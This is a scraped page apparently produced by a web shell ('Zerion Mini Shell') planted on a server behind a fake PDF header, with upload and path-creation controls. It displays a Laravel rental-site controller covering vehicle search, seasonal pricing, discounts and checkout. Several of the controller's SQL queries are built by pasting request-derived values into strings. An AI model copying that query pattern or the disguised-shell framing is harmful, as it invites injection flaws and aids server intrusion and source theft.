%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/rental/app/Http/Controllers/
Upload File :
Create Path :
Current File : /var/www/html/rental/app/Http/Controllers/SearchController.php

<?php namespace App\Http\Controllers;

use App\Models\Vehicle;
use App\Models\Location;
use App\Models\Operationalhours;
use App\Models\Vehicleimage;
use App\Models\Durationdiscount;

use App\Http\Controllers\Controller;
use App\Http\Requests;
use Illuminate\Http\Request;

class SearchController extends Controller 
{
	public function index()
	{
		//\Cache::forget('locations');
		$locations = \Cache::rememberForever('locations', function() 
		{	
			$locations = Location::join('locationtypes', 'locationtypes.id', '=', 'locations.id_locationtype')
							->select('locations.*', 'locationtypes.name AS locationtypes_name')
							->where('locations.deleted', 0)
							->get();
			
			foreach($locations as $location)
			{
				$location->openhours = Operationalhours::where('id_location', $location->id)
														->orderBy('start_day', 'asc')
														->get();
			}
			
			return $locations;
		});
		
		return view('public.searchMain', ['locations' => $locations]);	
	}
	
	public function vehiclesList(Request $request)
	{
		//$input = $request->all();		
		$pickuplocationID = intval($request->get('pickup_location_id'));
		$returnlocationID = intval($request->get('return_location_id'));
		
		$startDate = $request->get('pickup_date');
		$endDate = $request->get('return_date');	
		
		$startDateTime = new \DateTime($startDate);
		$endDateTime = new \DateTime($endDate);
		$interval = $startDateTime->diff($endDateTime);
		
		$duration = $interval->format('%d');
		$hours = (int)$interval->format('%H');
		if($hours > 2)
			$duration++;//increase one day if the return hours are over 2 from the pickup time 
			
		$startDateStr = strtotime($startDate);
		$endDateStr = strtotime($endDate);
		
		$startDate = date('Y-m-d H:i:s', $startDateStr);
		$endDate = date('Y-m-d H:i:s', $endDateStr);
		
		$startDateYear = date("Y", $startDateStr);
		$endDateYear = date("Y", $endDateStr);
		
		$pickupWeekday = date("N", $startDateStr);
		$returnWeekday = date("N", $endDateStr);
		$pickupTime = date("H:i", $startDateStr);
		$returnTime = date("H:i", $endDateStr);
		
		$prepMultiQuery = "SELECT IFNULL((SELECT l2l.cost FROM location_to_location_costs AS l2l
									WHERE l2l.id_location_from = $pickuplocationID 
									AND l2l.id_location_to = $returnlocationID), 0) AS diff_location_cost, ";
		
		$prepMultiQuery .= "IFNULL(	(SELECT 0 FROM operationalhours
										 WHERE id_location = $pickuplocationID AND not_operational = 0 
										   AND start_day <= $pickupWeekday 		  AND end_day >= $pickupWeekday
										   AND open_time <= TIME('{$pickupTime}') AND close_time >= TIME('{$pickupTime}')
										 LIMIT 1), 
									(SELECT after_hours_price FROM locations WHERE locations.id = $pickuplocationID)
								  ) AS  pickup_after_hours_cost, ";
		
		$prepMultiQuery .= "IFNULL(	(SELECT 0 FROM operationalhours
										 WHERE id_location = $returnlocationID AND not_operational = 0 
										   AND start_day <= $returnWeekday 		  AND end_day >= $returnWeekday
										   AND open_time <= TIME('{$returnTime}') AND close_time >= TIME('{$returnTime}')
										 LIMIT 1), 
									(SELECT after_hours_price FROM locations WHERE locations.id = $returnlocationID)
								  ) AS return_after_hours_cost ";
		
		$multiQueryResult = \DB::select($prepMultiQuery);
				
		$toDifferentLocationCost = $multiQueryResult[0]->diff_location_cost;		
		$afterHoursPickupCost = $multiQueryResult[0]->pickup_after_hours_cost;
		$afterHoursReturnCost = $multiQueryResult[0]->return_after_hours_cost;
		
		$globalReceiptEntries = [];
		
		if($toDifferentLocationCost > 0)
			$globalReceiptEntries[] = ['entry_name'=> 'Different Return Location', 'price'=> $toDifferentLocationCost, 'quantity'=> 1, 'details' => '<b>EUR '.$toDifferentLocationCost.'</b> extra charge for the <b>different</b> RETURN LOCATION.'];
		
		if($afterHoursPickupCost > 0)
			$globalReceiptEntries[] = ['entry_name'=> 'After Hours PICKUP TIME', 'price'=> $afterHoursPickupCost, 'quantity'=> 1, 'details' => '<b>EUR '.$afterHoursPickupCost.'</b> extra charge for the <b>after hours</b> PICKUP TIME.'];
		
		if($afterHoursReturnCost > 0)
			$globalReceiptEntries[] = ['entry_name'=> 'After Hours RETURN TIME', 'price'=> $afterHoursReturnCost, 'quantity'=> 1, 'details' => '<b>EUR '.$afterHoursReturnCost.'</b> extra charge for the <b>after hours</b> PICKUP TIME.'];

		//remove pending reservation that are a week old
		\DB::update('UPDATE reservations SET status = 0, approved = 2 WHERE approved = 0 AND created_at < NOW() - INTERVAL 3 DAY');
		
		$query = "SELECT v.*
					    ,vehicletypes.name AS vehicletypes_name
					    ,vehiclefueltypes.name AS fuel_type
					    , IFNULL(pickup_vlc.cost, 0) AS pickup_location_cost
					    , IFNULL(return_vlc.cost, 0) AS return_location_cost
					    , (SELECT IFNULL(d.discount, 0) FROM durationdiscounts AS d 
							WHERE d.id_vehicle = v.id AND d.duration <= $duration 
							ORDER BY d.duration DESC LIMIT 1) AS discount 
					FROM vehicles AS v 
					  INNER JOIN vehicletypes 
						ON (vehicletypes.id = v.id_vehicletype) 
					  INNER JOIN vehiclefueltypes 
						ON (vehiclefueltypes.id = v.id_vehiclefueltype) 
					  LEFT JOIN locations AS pickup_loc
						ON (pickup_loc.id = $pickuplocationID)   
					  LEFT JOIN vehiclelocationcosts AS pickup_vlc 
						ON (pickup_vlc.id_vehicle = v.id AND pickup_vlc.id_location = pickup_loc.id) 
					  LEFT JOIN locations AS return_loc
						ON (return_loc.id = $returnlocationID)
					  LEFT JOIN vehiclelocationcosts AS return_vlc 
						ON (return_vlc.id_vehicle = v.id AND return_vlc.id_location = return_loc.id)  
					WHERE v.deleted = 0 
					  AND v.id NOT IN (SELECT r.id_vehicle FROM reservations AS r 
										INNER JOIN vehicles AS v1 ON (r.id_vehicle = v1.id) 
										WHERE r.status = 1
										  AND r.pickup_datetime < '$endDate' 
										  AND r.return_datetime > '$startDate')";
		$vehicles = \DB::select($query);
		
		foreach($vehicles as $vehicle)
		{	
			 $query = "SELECT seasons.id,
							  seasons.name,
							  seasons.price,
							(CASE
								#entire season, before and continues
								WHEN '$startDate' < seasons.start_date && '$endDate' > seasons.end_date 
								THEN 1+DATEDIFF(seasons.end_date, seasons.start_date)
								#starts before and overlaps in half season
								WHEN '$startDate' < seasons.start_date && '$endDate' < seasons.end_date 
								THEN DATEDIFF('$endDate', seasons.start_date)
								#overlaps in half season and continues
								WHEN '$startDate' > seasons.start_date && '$endDate' > seasons.end_date 
								THEN 1+DATEDIFF(seasons.end_date, '$startDate')
								#entirely within the seasonal price
								ELSE DATEDIFF('$endDate', '$startDate')
							END) AS days_count
						FROM 
							(SELECT s.id, 
									s.name, 
									s.price, 
									CONCAT('$startDateYear','-',s.start_season_month,'-',s.start_season_day) AS start_date,
									CONCAT('$endDateYear','-',s.end_season_month,'-',s.end_season_day) AS end_date
							   FROM vehicleseasonalprices AS s
							  WHERE s.id_vehicle = {$vehicle->id}
							) AS seasons
						WHERE seasons.start_date < '$endDate' 
							AND seasons.end_date > '$startDate'
						ORDER BY seasons.start_date";
						
			$seasonalprices = \DB::select($query);//, [':vehicleID'=>$id]
			
			$priceDetails = [];
			$remainingDays = $duration;
			$totalPrice = ($vehicle->pickup_location_cost + $vehicle->return_location_cost);
			foreach($seasonalprices as $season)
			{
				$remainingDays -= $season->days_count;
				$totalPrice += ($season->price * $season->days_count);
				
				$priceDetails[] = ['type' => 'season', 'name'=> $season->name.' (Season) Price', 'record_id'=> $season->id, 'rate'=> $season->price, 'amount'=> $season->days_count, 'total'=>($season->price * $season->days_count)];
			}

			if($remainingDays > 0)
			{
				$totalPrice += ($remainingDays * $vehicle->standard_price);
				
				$priceDetails[] = ['type' => 'standard', 'name'=> 'Standard Price', 'rate'=> $vehicle->standard_price, 'amount'=> $remainingDays, 'total'=>($remainingDays * $vehicle->standard_price)];
			}
			
			if($vehicle->return_location_cost > 0)
				$priceDetails[] = ['type' => 'return_location_cost', 'name'=> 'Return Location Cost', 'rate'=> $vehicle->return_location_cost, 'amount'=> 1, 'total'=>$vehicle->return_location_cost];
			
			if($vehicle->pickup_location_cost > 0)
				$priceDetails[] = ['type' => 'pickup_location_cost', 'name'=> 'Pickup Location Cost', 'rate'=> $vehicle->pickup_location_cost, 'amount'=> 1, 'total'=>$vehicle->pickup_location_cost];
			
			$receiptEntries = [];
			$receiptEntries[] = ['entry_name'=> 'Base Rate', 'price'=> $totalPrice, 'quantity'=> $duration, 'details' => $priceDetails];
			
			info('discount 1', [$vehicle->discount]);
			if($vehicle->discount < 0)//(decimal value)
			{	
				//$vehicle->discount_type = 'percentage';
				$vehicle->discount = $totalPrice * $vehicle->discount;//200Eur *0.10(10%) = 20 - 200Eur = 180Eur
				
				$receiptEntries[] = ['entry_name'=> 'Discount', 'price'=> (-1*$vehicle->discount), 'quantity'=> 1, 
									 'details' => array('type' => 'discount_percentage', 'name'=> $duration.' Days Discount', 'rate'=> $vehicle->discount, 'amount'=> $duration, 'total'=>($duration * $vehicle->discount) ) ];
			}
			else if($vehicle->discount > 0)
			{
				//$vehicle->discount_type = 'fixed';
				$vehicle->discount = $duration * $vehicle->discount;//5days * 4EUR/Day = 20 - 200Eur = 180Eur
				
				info('discount 2', [$duration * $vehicle->discount]);
				$receiptEntries[] = ['entry_name'=> 'Discount', 'price'=> (-1*$vehicle->discount), 'quantity'=> 1, 
									 'details' => array('type' => 'discount_fixed', 'name'=> $duration.' Days Discount', 'rate'=> $vehicle->discount, 'amount'=> $duration, 'total'=>($duration * $vehicle->discount) ) ];
			}else //if=0
				$vehicle->discount = 0;
			
			//$vehicle->full_price = number_format((float)$totalPrice, 2, '.', '');
			$vehicle->final_price = (float)$totalPrice - $vehicle->discount;
			$vehicle->receipt_entries = $receiptEntries;
		}
		
		$pickuplocationID = intval($request->get('pickup_location_id'));
		$returnlocationID = intval($request->get('return_location_id'));
		
		$startDate = $request->get('pickup_date');
		$endDate = $request->get('return_date');	
		
		$sessionData = [
			'vehicles'=>$vehicles, 
			'duration'=>$duration,
			'reservation_receipt_entries'=>$globalReceiptEntries,
			'pickup_location_id'=>$pickuplocationID,
			'return_location_id'=>$returnlocationID,
			'pickup_date'=>$startDate,
			'return_date'=>$endDate,
		];
		$request->session()->put('search_data', $sessionData);
		
		$resp = [
			'vehicles'=>$vehicles, 
			'duration'=>$duration,
			'reservation_receipt_entries'=>$globalReceiptEntries,
		];
		
		return response()->json($resp);
	}
	
	public function vehicleDetails($id)
	{
		$vehicleimages = Vehicleimage::where('id_vehicle', $id)->where('deleted', 0)->get();
		$vehicledurationdiscounts = Durationdiscount::where('id_vehicle', $id)->get();
		
		return response()->json(['images'=>$vehicleimages, 'discounts'=>$vehicledurationdiscounts]);
	}
	
	public function accessoriesList(Request $request)
	{	
		$vehicleID = $request->get('vehicle_id');
		$startDate = $request->get('pickup_date');
		$endDate = $request->get('return_date');
		
		$query = "SELECT accessories.id, 
						 accessories.name,
						 accessories.img_url,
						 accessories.description,
						 accessories.one_time_fee,
						 accessories.availability,
						 IFNULL(vehicleaccessories.price, accessories.price) AS price
					FROM accessories
					INNER JOIN vehicleaccessories
						ON (accessories.id = vehicleaccessories.id_accessory)
					WHERE accessories.deleted = 0
					  AND vehicleaccessories.id_vehicle = :vehicleID
					  AND accessories.id NOT IN (SELECT r.id_accessory FROM accessory_reservations AS r 
												INNER JOIN accessories AS acc ON (r.id_accessory = acc.id) 
												WHERE r.pickup_datetime < :startDate 
												  AND r.return_datetime > :endDate)
					ORDER BY accessories.name";
		$accessories = \DB::select($query, [':vehicleID'=>$vehicleID, ':startDate'=>$startDate, ':endDate'=>$endDate]);
		
		return response()->json(['accessories'=>$accessories]);
	}
	
	public function checkout(Request $request)
	{	
		$resp = ['code'=>200];
		
		if ($request->session()->has('search_data')) 
		{	
			//GET EXISTION DATA
			$searchData = $request->session()->get('search_data');
			
			$sessionData = [
				'duration'=>$searchData['duration'],
				'reservation_receipt_entries'=>$searchData['reservation_receipt_entries'],
				'pickup_location_id'=>$searchData['pickup_location_id'],
				'return_location_id'=>$searchData['return_location_id'],
				'pickup_date'=>$searchData['pickup_date'],
				'return_date'=>$searchData['return_date'],
			];
			
			$vehicleID = $request->get('vehicle_id');
			$vehicles = $searchData['vehicles'];
			foreach($vehicles as $vehicle)
			{
				if($vehicle->id == $vehicleID)
				{
					$sessionData['vehicle'] = $vehicle;
					break;
				}
			}
			
			$accessoriesReceiptEntries = [];
			$total_price = $sessionData['vehicle']->final_price;
			
			if($request->exists('accessories_entries'))
			{
				$accessoriesEntries = $request->get('accessories_entries');
				foreach($accessoriesEntries as $entry)
				{
					$query = "SELECT accessories.id, 
									 accessories.name,
									 accessories.one_time_fee,
									 accessories.availability,
									 IFNULL(vehicleaccessories.price, accessories.price) AS price
								FROM accessories
								INNER JOIN vehicleaccessories
									ON (accessories.id = vehicleaccessories.id_accessory)
								WHERE vehicleaccessories.id_vehicle = :vehicleID 
								AND accessories.id = :accessoryID";
					$accessory = \DB::select($query, [':vehicleID'=>$vehicleID, ':accessoryID'=>$entry['accessory_id'] ]);
					$accessory = $accessory[0];
					
					$accessory_total_price = $accessory->price * ($accessory->one_time_fee == 1 ? 1 : $searchData['duration']);
					$accessory_total_price = $accessory_total_price * $entry['quantity'];
					
					$accessoriesReceiptEntries[] = [
						'entry_name' => $accessory->name,
						'quantity' => $entry['quantity'],
						'price' => $accessory_total_price,
						'id' => $accessory->id, 
						'trackable' => $accessory->availability
					];
					
					$total_price += $accessory_total_price;
				}
			}
			
			foreach($searchData['reservation_receipt_entries'] as $entry)
			{
				$total_price += $entry['price'];
			}
			
			$sessionData['accessories_receipt_entries'] = $accessoriesReceiptEntries;
			$sessionData['total_price'] = round($total_price, 2);
			
			//DELETE OLD DATA
			$request->session()->forget('search_data');
			
			//OVERRIDE WITH THE ADDITIONAL DATA
			$request->session()->put('reservation_data', $sessionData);
			
			$resp['code'] = 301;
		}
		else
		{
			//session has expired
			$resp['code'] = 440;
		}
		
		return response()->json($resp);
	}
	
}

Zerion Mini Shell 1.0